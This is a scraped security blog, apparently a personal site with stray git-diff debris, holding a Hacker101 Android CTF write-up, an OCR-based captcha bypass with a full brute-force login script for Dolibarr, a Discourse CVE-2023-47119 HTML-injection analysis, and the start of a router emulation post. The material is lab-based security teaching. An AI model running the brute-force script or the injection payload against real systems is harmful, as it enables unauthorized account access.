Sorry, we've misplaced that URL or it's pointing to something that doesn't exist.
Head back Home to try finding it again, or search for it on the Archives page.
diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/.nojekyll @@ -0,0 +1 @@ + diff --git a/404.html b/404.html new file mode 100644 index 0000000..9549439 --- /dev/null +++ b/404.html @@ -0,0 +1 @@ +
Sorry, we've misplaced that URL or it's pointing to something that doesn't exist.
Head back Home to try finding it again, or search for it on the Archives page.
Add Markdown syntax content to file
_tabs/about.md
and it will show up on this page.
Today we are going to practice some Android pentesting with a challenge made by Hackerone platform.
I’ll explain different techniques used in Android pentesting with a practical overview.
This article was made for the day 2 of the hack event organised by The Hacking News B’Darija.
We can access the challenege using https://ctf.hacker101.com/ctf
https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/
1
+
**Your Android APK is building. Please refresh in a few seconds.**
+
1
+
https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/level13.apk
+
https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting
I didn’t have time to setup a clean setup for an Android emulator on my Linux machine, so i just used my Windows machine with Bluestacks emulator. It’s probably simple to setup Burpsuite proxy with it, right ? :unamused:
After installing the app, we can see it in your app menu.
To intercept requests from our android app, I’ll use Burpsuite. You can use the community version it’s free https://portswigger.net/burp
We need to set the proxy used by bluestackes using HD-ConfigHttpProxy.exe. You can find it in your application installation.
Now let’s add our burp proxy.
After setting a proxy, you need to restart Bluestacks. You can use the reset option to go back to default settings.
Now we need to :
Use BlueStacks Tweaker to root the emulator.
Install root certificate manager from the Google Play store.
Import the burp certificate. You can export it from the proxy tab.
Before the app shows the webview, we can see a request to https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/appRoot?&hash=61f4518d844a9bd27bb971e55a23cd6cf3a9f5ef7f46285461cf6cf135918a1a
Here is the response :
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
+HTTP/1.1 200 OK
+
+Date: Wed, 27 Jul 2022 19:29:48 GMT
+
+Content-Type: text/html; charset=utf-8
+
+Content-Length: 64
+
+Connection: close
+
+Server: openresty/1.21.4.1
+
+<h1>Welcome to Level13</h1><a href="appRoot/flagBearer">Flag</a>
+
+
After forwarding the requests, let’s see what happens after clicking “Flag.”
We can see a new request to /appRoot/flagBearer same output as our first request. After forwarding the request, we see an output with an invalid request
Here is the response :
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
+HTTP/1.1 200 OK
+
+Date: Wed, 27 Jul 2022 19:32:18 GMT
+
+Content-Type: text/html; charset=utf-8
+
+Content-Length: 15
+
+Connection: close
+
+Server: openresty/1.21.4.1
+
+Invalid request
+
+
Now let’s try to analyze what we were able to find :
Leaked the used domain : 86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com
Hash parametre with /appRoot : hash=61f4518d844a9bd27bb971e55a23cd6cf3a9f5ef7f46285461cf6cf135918a1a
openresty/1.21.4.1 : Web server version. It’s probably the load blanacer https://openresty.org/en/
The app may be trying to verify a hash token with /appRoot to access/appRoot/flagBearer which is our final access.
We can check the links with our browser, It’s seems like the app is using a webview. We can get the same behavior.
We did some testing with the app, now let’s switch to some reversing with the apk file.
A file with the APK file extention is an Android Package file that’s used to distribute apps on Google’s Android operating system
APK files are saved in the ZIP format and are typically downloaded directly to Android devices, usually via Google Play, but can also be found on other websites.
There is a tool called APKLeaks that helps with getting urls, endpoints, and secrets from our apk files. It’s used by bug bounty hunters https://github.com/dwisiswant0/apkleaks
As we can see, there are some android xml files and a domain used with a endpoint or maybe a directory /appRoot.
Expectation :
And then you’ll be like, “emm, some juicy cash money for my bug bounty report :smirk: “
Reality : :skull:
It’s a tool for reverse engineering Android apk files. We are going to use it to extract files from our apk. You can check the documentation for more details https://ibotpeaches.github.io/Apktool/
You can see instructions here to install it.
As i’m using Kali Linux, there is a package for it. We can use apt to install sudo apt install apktool
Let’s extract the apk file
https://pentestlab.blog/2017/01/24/security-guidelines-for-android-manifest-files/
https://www.briskinfosec.com/blogs/blogsdetail/Android-Manifest-File-Analysis-101
Now let’s decompile the jar file using JD-GUI http://java-decompiler.github.io/
As we can see here, the application configuration details.
Now let’s go to our target, the MainActivity.class. It’s like the main code from our Android app. We can read more about Android app development to get more details about it.
MainActivity.class
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+
package com.hacker101.level13;
+
+import android.net.Uri;
+import android.os.Bundle;
+import android.support.v7.app.AppCompatActivity;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+import java.math.BigInteger;
+import java.nio.charset.StandardCharsets;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+
+public class MainActivity extends AppCompatActivity {
+ protected void onCreate(Bundle paramBundle) {
+ super.onCreate(paramBundle);
+ setContentView(2131296284);
+ WebView webView = (WebView)findViewById(2131165328);
+ webView.setWebViewClient(new WebViewClient());
+ Uri uri = getIntent().getData();
+ String str1 = "https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/appRoot";
+ String str3 = "";
+ if (uri != null) {
+ str3 = uri.toString().substring(28);
+ StringBuilder stringBuilder = new StringBuilder();
+ stringBuilder.append("https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/appRoot");
+ stringBuilder.append(str3);
+ str1 = stringBuilder.toString();
+ }
+ String str2 = str1;
+ if (!str1.contains("?")) {
+ StringBuilder stringBuilder = new StringBuilder();
+ stringBuilder.append(str1);
+ stringBuilder.append("?");
+ str2 = stringBuilder.toString();
+ }
+ try {
+ MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");
+ messageDigest.update("s00p3rs3cr3tk3y".getBytes(StandardCharsets.UTF_8));
+ messageDigest.update(str3.getBytes(StandardCharsets.UTF_8));
+ byte[] arrayOfByte = messageDigest.digest();
+ BigInteger bigInteger = new BigInteger();
+ this(1, arrayOfByte);
+ String str = String.format("%064x", new Object[] { bigInteger });
+ StringBuilder stringBuilder = new StringBuilder();
+ this();
+ stringBuilder.append(str2);
+ stringBuilder.append("&hash=");
+ stringBuilder.append(str);
+ webView.loadUrl(stringBuilder.toString());
+ } catch (NoSuchAlgorithmException noSuchAlgorithmException) {
+ noSuchAlgorithmException.printStackTrace();
+ }
+ }
+}
+
It’s just the app code for us x)
As we see from our first interaction with app http requests, we need to understand how to get the hash to access /appRoot/flagBearer or maybe use it for other things.
Start analyzing
We can see the code when URI is null
1
+2
+3
+4
+5
+6
+7
+
if (uri != null) {
+ str3 = uri.toString().substring(28);
+ StringBuilder stringBuilder = new StringBuilder();
+ stringBuilder.append("https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/appRoot");
+ stringBuilder.append(str3);
+ str1 = stringBuilder.toString();
+ }
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
try {
+ MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");
+ messageDigest.update("s00p3rs3cr3tk3y".getBytes(StandardCharsets.UTF_8));
+ messageDigest.update(str3.getBytes(StandardCharsets.UTF_8));
+ byte[] arrayOfByte = messageDigest.digest();
+ BigInteger bigInteger = new BigInteger();
+ this(1, arrayOfByte);
+ String str = String.format("%064x", new Object[] { bigInteger });
+ StringBuilder stringBuilder = new StringBuilder();
+ this();
+ stringBuilder.append(str2);
+ stringBuilder.append("&hash=");
+ stringBuilder.append(str);
+ webView.loadUrl(stringBuilder.toString());
+ } catch (NoSuchAlgorithmException noSuchAlgorithmException) {
+ noSuchAlgorithmException.printStackTrace();
+ }
+
If you can’t understand what the code does, you can simply create a Java code and start importing the used libraries and print each line to see the output. We need to add used string variables and also set a URI value for testing.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
import java.math.BigInteger;
+import java.nio.charset.StandardCharsets;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+class test {
+ public static void main(String[] args) {
+ // here we need to the add used URI and string values.
+ // put the try catch and start analysing using System.out.println()
+ }
+
+ }
+
After doing some testing, let’s get back to our way of finding the hash.
1
+2
+3
+4
+5
+6
+7
+
if (uri != null) {
+ str3 = uri.toString().substring(28);
+ StringBuilder stringBuilder = new StringBuilder();
+ stringBuilder.append("https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/appRoot");
+ stringBuilder.append(str3);
+ str1 = stringBuilder.toString();
+ }
+
As we can see, it does a substring of 28 and takes the last part https://www.javatpoint.com/substring
1
+2
+3
+4
+5
+6
+7
+
class test {
+ public static void main(String[] args) {
+ String URI = "AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBB";
+ System.out.println(URI.toString().substring(28));
+
+ }
+}
+
1
+
BBBBBBB
+
for the str1 we have an URL + str3 (URI.toString().substring(28))
1
+
https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/appRoot + str3
+
We use “BBBB” for str3 at the moment. We can see that the beginning is probably a “/”
Now str1 = https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/appRoot/BBBB
The str2 is str1 + “?”
1
+
https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/appRoot/BBBB?
+
At the encryption part, we can see that the code appends another &hash=
and the hash value to the final string.
1
+2
+3
+
stringBuilder.append(str2);
+ stringBuilder.append("&hash=");
+ stringBuilder.append(str);
+
1
+
https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/appRoot/BBBB?hash=X
+
It looks familiar, right ? If we go back to our requests analysis at the beginning, we can see the same format.
1
+
https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/appRoot?&hash=61f4518d844a9bd27bb971e55a23cd6cf3a9f5ef7f46285461cf6cf135918a1a
+
For the BBBB part, it’s possible that it has flagBearer or /appRoot/flagBearer. URI Format can be URL/appRoot/flagBearer
Now let’s go for our solution. I used the same Main code with some modifications to get our hash. We can use an online Java compiler or execute it from your system if you have Java installed.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+
import java.math.BigInteger;
+import java.nio.charset.StandardCharsets;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+
+
+class get_hash {
+ public static void main(String[] args) {
+ String uri = "AAAAAAAAAAAAAAAAAAAAAAAAAAAA/flagBearer";
+ String str1 = "https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/appRoot";
+ String str3 = "";
+ if (uri != null) {
+ str3 = uri.toString().substring(28);
+ StringBuilder stringBuilder = new StringBuilder();
+ stringBuilder.append("https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/appRoot");
+ stringBuilder.append(str3);
+ str1 = stringBuilder.toString();
+ }
+ String str2 = str1;
+ if (!str1.contains("?")) {
+ StringBuilder stringBuilder = new StringBuilder();
+ stringBuilder.append(str1);
+ stringBuilder.append("?");
+ str2 = stringBuilder.toString();
+ }
+ try {
+ MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");
+ messageDigest.update("s00p3rs3cr3tk3y".getBytes(StandardCharsets.UTF_8));
+ messageDigest.update(str3.getBytes(StandardCharsets.UTF_8));
+ byte[] arrayOfByte = messageDigest.digest();
+ BigInteger bigInteger = new BigInteger(1, arrayOfByte);
+ String str = String.format("%064x", new Object[] { bigInteger });
+ StringBuilder stringBuilder = new StringBuilder();
+ stringBuilder.append(str2);
+ stringBuilder.append("&hash=");
+ stringBuilder.append(str);
+ System.out.println(stringBuilder.toString());
+ } catch (NoSuchAlgorithmException noSuchAlgorithmException) {
+ noSuchAlgorithmException.printStackTrace();
+ }
+ }
+}
+
Output
1
+
https://86c65fe0ecf5117f91f7d2eaf9adf25e.ctf.hacker101.com/appRoot/flagBearer?&hash=8743a18df6861ced0b7d472b34278dc29abba81b3fa4cf836013426d6256bd5e
+
Let’s visit the url
We were able to solve the challenge with right hash value.
I hope you find this article useful. You can learn more about Android application pentesting. There are many interesting attacks. You can take a look at :
Today i’m going to explain how i was able to bypass captcha using OCR on Dolibarr login page, and create a script for it.
Output :
https://github.com/BaadMaro/DoliBrute
Dolibarr ERP CRM is a modern software package to manage your company or foundation’s activity (contacts, suppliers, invoices, orders, stocks, agenda, accounting, …). It is open source software (written in PHP) and designed for small and medium businesses, foundations and freelancers.
There is many ways to install Dolibarr to be able to interact with it :
Docker is an open platform for developing, shipping, and running applications. Docker enables you to separate your applications from your infrastructure so you can deliver software quickly.
There is a docker image for Dolibarr created by tuxgasy https://hub.docker.com/r/tuxgasy/dolibarr
Before you continue, you should install Docker on your system. We’re going to also need docker-compose https://docs.docker.com/get-docker/
For me, I was using Kali Linux https://www.kali.org/docs/containers/installing-docker-on-kali/
I started by pulling the Dolibarr Docker image.
1
+
docker pull tuxgasy/dolibarr
+
After finishing, let’s check the available images
This docker image dosen’t include the database. So we need to create a docker container for the datatabse.
I’m going to create a file called docker-compose.yml to setup datatabse and dolibarr
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+
version: "3"
+
+services:
+ mariadb:
+ image: mariadb:latest
+ environment:
+ MYSQL_ROOT_PASSWORD: root
+ MYSQL_DATABASE: dolibarr
+
+ web:
+ image: tuxgasy/dolibarr
+ environment:
+ DOLI_DB_HOST: mariadb
+ DOLI_DB_USER: root
+ DOLI_DB_PASSWORD: root
+ DOLI_DB_NAME: dolibarr
+ DOLI_URL_ROOT: 'http://0.0.0.0'
+ PHP_INI_DATE_TIMEZONE: 'Europe/Paris'
+ ports:
+ - "80:80"
+ links:
+ - mariadb
+
Now we need to start the services using the docker-compose command.
We can see our containers running using docker ps
Let’s go to http://0.0.0.0 (or your machine ip) to access the new Dolibarr installation.
As we can see, our web server is up. Now let’s login using admin:admin and activate captcha on the login page.
If we logout and check the login page now, we can see the new captcha.
I’m going to use burpsuite as a proxy to intercept requests.
Let’s test the login request.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
POST /index.php?mainmenu=home HTTP/1.1
+Host: 192.168.1.110
+Content-Length: 377
+Cache-Control: max-age=0
+Upgrade-Insecure-Requests: 1
+Origin: http://192.168.1.110
+Content-Type: application/x-www-form-urlencoded
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+Referer: http://192.168.1.110/
+Accept-Encoding: gzip, deflate
+Accept-Language: en-US,en;q=0.9
+Cookie: DOLSESSID_88d498d64b60efb4af60751a059c59a1=gko4agq9j65qvqui7fe3snpdl6; DOLSESSTIMEOUT_88d498d64b60efb4af60751a059c59a1=1440
+Connection: close
+
+token=3f061ddd3d625668740705559ebd19ce&actionlogin=login&loginfunction=loginfunction&tz=1&tz_string=Africa%2FCasablanca&dst_observed=0&dst_first=2022-05-8T01%3A59%3A00Z&dst_second=2022-03-27T02%3A59%3A00Z&screenwidth=1038&screenheight=718&dol_hide_topmenu=&dol_hide_leftmenu=&dol_optimize_smallscreen=&dol_no_mouse_hover=&dol_use_jmobile=&username=test&password=test&code=3Kmw6
+
As we can see the login page send a post request to /index.php?mainmenu=home
with a data payload. It’s has a token, our login username and password, the captcha code and some variables. We can see also a DOLSEESID cookie in the request.
We can see the error message after forwarding the request.
<view-source:http://192.168.1.110/index.php?mainmenu=home>
If we check the source page, we see the used token a also some variables.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+
<form id="login" name="login" method="post" action="/index.php?mainmenu=home">
+
+<input type="hidden" name="token" value="3f061ddd3d625668740705559ebd19ce" />
+
+<input type="hidden" name="actionlogin" value="login">
+
+<input type="hidden" name="loginfunction" value="loginfunction" />
+
+<!-- Add fields to store and send local user information. This fields are filled by the core/js/dst.js -->
+
+<input type="hidden" name="tz" id="tz" value="" />
+
+<input type="hidden" name="tz_string" id="tz_string" value="" />
+
+<input type="hidden" name="dst_observed" id="dst_observed" value="" />
+
+<input type="hidden" name="dst_first" id="dst_first" value="" />
+
+<input type="hidden" name="dst_second" id="dst_second" value="" />
+
+<input type="hidden" name="screenwidth" id="screenwidth" value="" />
+
+<input type="hidden" name="screenheight" id="screenheight" value="" />
+
+<input type="hidden" name="dol_hide_topmenu" id="dol_hide_topmenu" value="" />
+
+<input type="hidden" name="dol_hide_leftmenu" id="dol_hide_leftmenu" value="" />
+
+<input type="hidden" name="dol_optimize_smallscreen" id="dol_optimize_smallscreen" value="" />
+
+<input type="hidden" name="dol_no_mouse_hover" id="dol_no_mouse_hover" value="" />
+
+<input type="hidden" name="dol_use_jmobile" id="dol_use_jmobile" value="" />
+
After refreshing the page, we see the same value. So maybe it’s fixed.
1
+
<input type="hidden" name="token" value="3f061ddd3d625668740705559ebd19ce" />
+
Now we are going to start building our script to bypass the captcha code. Here is the workflow :
For our captcha code, It’s loaded from a php file
1
+
<img class="inline-block valignmiddle" src="/core/antispamimage.php" border="0" width="80" height="32" id="img_securitycode" />
+
http://192.168.1.110/core/antispamimage.php
In each call to this file, a new valid captcha is generated. It’s the same mechanism available on the login page with the refresh icon.
To be able to extract characters from captcha image. I’ll use Python-tesseract https://pypi.org/project/pytesseract/
Python-tesseract is a python wrapper for Google's Tesseract-OCR
We need to install Tesseract-OCR first before using it with python https://tesseract-ocr.github.io/tessdoc/Home.html
1
+
Optical Character Recognition (OCR) is the process of detecting and reading text in images through computer vision.
+
For Kali Linux
1
+2
+
sudo apt-get install tesseract-ocr
+pip3 install pytesseract
+
My script to get OCR the captcha code from the image using OCR
1
+
b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00P\x00\x00\x00 \x01\x03\x00\x00\x00\xbf\xfdm/\x00\x00\x00\x06PLTE\xfa\xfa\xfa\x00\x00\x00\xfa1=\x8f\x00\x00\x00\tpHYs\x00\x00\x0e\xc4\x00\x00\x0e\xc4\x01\x95+\x0e\x1b\x00\x00\x00JIDAT\x18\x95c`\x18@`\xc3\xc0\xc0\xe2\x00a:10\xf0 \x98"0f\x8c\x8dJ\x0c\x84i\x97\xe4\xe4\x92\x04a299\xb88\xc1\x986up&\x13\x0b\x94\xc9\x92\xe4\xc4\x02Uk\x11c\xc3\x025\x81\xc1\x01a3v&\r\x00\x00\xb3\xa2\n[Z\xaf@L\x00\x00\x00\x00IEND\xaeB`\x82'
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+
from io import BytesIO
+import pytesseract
+import random
+from PIL import Image
+import sys
+import requests
+pytesseract.pytesseract.tesseract_cmd = "/usr/bin/tesseract"
+
+base_url = "http://192.168.1.110/"
+
+def get_captcha_code(base_url):
+ code = ""
+ while len(code) != 5:
+
+ r = requests.get(f"{base_url}core/antispamimage.php", verify=False)
+
+
+ img = Image.open(BytesIO(r.content))
+ img.show()
+ code = pytesseract.image_to_string(img).split("\n")[0]
+ #print(code)
+ for char in code:
+ if char not in "aAbBCDeEFgGhHJKLmMnNpPqQRsStTuVwWXYZz2345679":
+ code = ""
+ break
+ return code
+
+
+print(get_captcha_code(base_url))
+
+
+
Here is a test for our OCR :
For the error message, we have a string “Bad value for login or password”. It’s located in a div
1
+2
+
<div class="center login_main_message"><div class="error">
+ Bad value for login or password </div></div>
+
For the wrong captcha, we see a different message but in the same div
1
+2
+
<div class="center login_main_message"><div class="error">
+ Bad value for security code. Try again with new value... </div></div>
+
If we login with right credentials we can see a 302 redirection.
I did a simple test for the right login detection. If we find no error message, it’s a successful login. It’s just for the POC. Better have a test case with the 302 redirection status code.
Notes after debugging :
/index.php?mainmenu=home
instead of /admin/index.php?mainmenu=home
to have the 302 redirection.Now i’ll combine the OCR reading with the login post request to bruteforce login.
pytesseract.pytesseract.tesseract_cmd
for tesseract binary location and OS.1
+2
+3
+4
+5
+
# Linux
+pytesseract.pytesseract.tesseract_cmd = "/usr/bin/tesseract"
+
+# Windows
+pytesseract.pytesseract.tesseract_cmd = 'C:/Program Files/Tesseract-OCR/tesseract.exe'
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+
import requests
+from bs4 import BeautifulSoup
+import lxml
+import urllib
+from io import BytesIO
+from urllib.parse import quote_plus as qp
+import pytesseract
+from PIL import Image
+from requests.structures import CaseInsensitiveDict
+import sys
+
+#Linux
+pytesseract.pytesseract.tesseract_cmd = "/usr/bin/tesseract"
+
+#Windows
+#pytesseract.pytesseract.tesseract_cmd = 'C:/Program Files/Tesseract-OCR/tesseract.exe'
+
+
+username = "admin"
+passwords = open("default-passwords.txt", "r")
+
+base_url = "http://192.168.1.110/"
+
+login_url = base_url + "index.php?mainmenu=home"
+
+headers = CaseInsensitiveDict()
+
+def get_captcha_code(base_url):
+ code = ""
+ while len(code) != 5:
+ r = session.get(f"{base_url}core/antispamimage.php", verify=False)
+ img = Image.open(BytesIO(r.content))
+ #img.show()
+ code = pytesseract.image_to_string(img).split("\n")[0]
+ for char in code:
+ if char not in "aAbBCDeEFgGhHJKLmMnNpPqQRsStTuVwWXYZz2345679":
+ code = ""
+ break
+ return code
+
+
+
+for password in passwords:
+ a = 1
+ while(a==1):
+
+ session = requests.Session()
+ request = session.get(login_url)
+
+ captcha = get_captcha_code(base_url)
+
+ # Get the token value
+ page_source = BeautifulSoup(request.text,"lxml")
+ token = page_source.find("input",{'name':'token'})['value']
+
+ cookies = session.cookies
+
+ headers["Connection"] = "keep-alive"
+ headers["Cache-Control"] = "max-age=0"
+ headers["Upgrade-Insecure-Requests"] = "1"
+ headers["Origin"] = base_url
+ headers["Content-Type"] = "application/x-www-form-urlencoded"
+ headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36"
+ headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
+ headers["Referer"] = base_url + "index.php?mainmenu=home"
+ headers["Accept-Language"] = "en-US,en;q=0.9,ar;q=0.8,fr;q=0.7"
+
+ # you can use json object or f string format
+ data = "token=" + str(urllib.parse.quote(token,safe='')) + "&actionlogin=login&loginfunction=loginfunction&tz=1&tz_string=Africa%2FCasablanca&dst_observed=0&dst_first=2022-05-8T01%3A59%3A00Z&dst_second=2022-03-27T02%3A59%3A00Z&screenwidth=1038&screenheight=718&dol_hide_topmenu=&dol_hide_leftmenu=&dol_optimize_smallscreen=&dol_no_mouse_hover=&dol_use_jmobile=&username=" + str(username) + "&password=" + str(password[:-1]) + "&code=" + str(captcha)
+
+ resp = session.post(login_url, headers=headers, data=data, cookies=cookies, allow_redirects=False)
+
+ login = BeautifulSoup(resp.text,"lxml")
+
+ error_message = login.find("div",{'class':'error'})
+
+ #print(str(resp.status_code) + " " + password[:-1])
+
+ if error_message != None :
+ if(error_message.text.strip() == "Bad value for login or password"):
+ print(f"[!] [{resp.status_code}] Wrong login {username}:{password[:-1]}")
+ a = 0
+ else:
+ if (error_message.text.strip() == "Bad value for security code. Try again with new value..."):
+ print(f"[!] [{resp.status_code}] Wrong captcha ocr. Retrying...")
+
+
+ if resp.status_code == 302 :
+ print(f"[*] Done! {username}:{password[:-1]} ")
+ sys.exit()
+
+
Thanks to some exploits authors in exploit-db, I was inspired by their code :
I published the tool with the name DoliBrute
. It has a more clean code than the POC. I’ll work on it for more updates.
https://github.com/BaadMaro/DoliBrute
I hope you find this article useful. If you want to hunt for vulnerabilities on Dolibarr, go check their secrurity policy https://github.com/Dolibarr/dolibarr/security/policy
I was checking for some Discourse vulnerabilities, and I saw that a new CVE was dropped on 11/10/2023
CVE-2023-47119
The details didn’t mention any POC, so I did some analysis based on the source code commits changes to understand the vulnerability and how it is possible to exploit it.
The article includes details, lab setup and a demo.
A GitHub repository was created for the POC https://github.com/BaadMaro/CVE-2023-47119 Feel free to contribute with reports, escalations, and links to other POCs too.
CVE-2023-47119 is a new Discourse vulnerability affecting versions prior to version 3.1.3 of the stable
branch and version 3.2.0.beta3 of the beta
and tests-passed
branches. Some links can inject arbitrary HTML tags when rendered through the Onebox engine.
The severity is Medium 5.3
which is understandable as the vulnerability is only HTML injection and it needs a bypass for the XSS filter used by Discourse to cause a bigger impact.
Checking the CVE details CVE-2023-47119, we can see the commits added for the fix for example this one : https://github.com/discourse/discourse/commit/628b293ff53fb617b3464dd27268aec84388cc09
The interesting part is the fix for the github_issue_onebox.rb
file which reveals our target.
As we can see :
/lib/onebox/engine/github_issue_onebox.rb
/app/helpers/emoji_helper.rb
which is a call for /app/models/emoji.rb
1
+2
+3
+4
+5
+
module EmojiHelper
+ def emoji_codes_to_img(str)
+ raw(Emoji.codes_to_img(str))
+ end
+end
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
def self.codes_to_img(str)
+ return if str.blank?
+
+ str =
+ str.gsub(/:([\w\-+]*(?::t\d)?):/) do |name|
+ code = $1
+
+ if code && Emoji.custom?(code)
+ emoji = Emoji[code]
+ "<img src=\"#{emoji.url}\" title=\"#{code}\" class=\"emoji\" alt=\"#{code}\" loading=\"lazy\" width=\"20\" height=\"20\">"
+ elsif code && Emoji.exists?(code)
+ "<img src=\"#{Emoji.url_for(code)}\" title=\"#{code}\" class=\"emoji\" alt=\"#{code}\" loading=\"lazy\" width=\"20\" height=\"20\">"
+ else
+ name
+ end
+ end
+
The function returns an image HTML element for known emojis, and if it doesn’t exist, it retursn the same text used.
In /lib/onebox/engine/github_issue_onebox.rb
before the fix, we can see the emoji function is used in label part :
1
+
labels = raw["labels"].map { |l| { name: Emoji.codes_to_img(l["name"]) } }
+
The label is an identifier used by Github issues to specify, for example the type of issue.
In Discourse, the onboxe engine used for topic details and replies have a custom engine for GitHub issues which pulls the issue details via URL and converts them to a better view.
To build Discourse 3.1.3 which is a vulnerable version, I used the docker compose file by bitnami https://hub.docker.com/r/bitnami/discourse/
docker.io/bitnami/discourse:3.1.3
DISCOURSE_HOST=0.0.0.0
docker-compose up -d
user:bitnami123
You can also use the official docker https://github.com/discourse/discourse_docker
To control the label name, we can create a repository with an issue and modify the label name assigned to the issue.
Example
In this example, the issue label was “bug”. We can now try including an emoji like :smile:
1
+2
+3
+
<span style="display:inline-block;margin-top:2px;background-color: #B8B8B8;padding: 2px;border-radius: 4px;color: #fff;margin-left: 3px;">
+ bug <img src="/images/emoji/twitter/smile.png?v=12" title="smile" class="emoji" alt="smile" width="20" height="20">
+ </span>
+
As we can see, it’s the same discussed output from the emoji function.
Now let’s confirm a no-existing emoji
1
+2
+3
+
<span style="display:inline-block;margin-top:2px;background-color: #B8B8B8;padding: 2px;border-radius: 4px;color: #fff;margin-left: 3px;">
+ bug :baadmaroemoji:
+ </span>
+
As the emoji function didn’t find the emoji, it returned the original text.
The returned text is not sanitized (emoji format or just simple text) which is the cause of the CVE.
We can confirm by injecting an h1 tag for example. Having the double “:” in label name is not necessary
1
+2
+3
+
<span style="display:inline-block;margin-top:2px;background-color: #B8B8B8;padding: 2px;border-radius: 4px;color: #fff;margin-left: 3px;">
+ bug <h1>BaadMaro HTML Injection POC</h1>
+ </span>
+
https://github.com/discourse/discourse/blob/main/docs/SECURITY.md#xss
Discourse is using some mechanisms to protect against XSS :
xss
https://jsxss.com/en/index.htmlSo to be able to escalate the CVE from HTML injection to XSS, you need a bypass for the used filters.
A GitHub repository was created for the POC : https://github.com/BaadMaro/CVE-2023-47119
You can contribute to the repository with reports, escalations and links to other POCs too.
Thank you.
Today we are going to practice some IoT pentesting with a device called RUT950 as an example.
I’ll explain different techniques used in IoT pentesting including emulation, firmware analysis, exploitation and pivoting.
This article was made for a hack event organised by The hacking News B’Darija.
All information and software available on this page are for educational purposes only.
RUT950 is a high-performance industrial 4G LTE Wi-Fi router designed as a Main/Backup internet source and guarantees a reliable internet connection with high data throughput and data redundancy.
You can see all features here : https://teltonika-networks.com/product/rut950/
I don’t have the device, so emulation is our go.
A lot of IoT devices like routers and embedded systems runs on a RISC CPUs with MIPS architucture.
The RUT950 has A MIPS CPU “Atheros, MIPS 74Kc, 550 MHz”. You can get more details from the datasheet https://teltonika-networks.com/downloads/en/rut950/RUT950_Datasheet-v1.0.pdf
To be able to emulate the router, we need a emulator/virtualizer to be able to transform MIPS instructions intended for the real hardware to our x64 system.
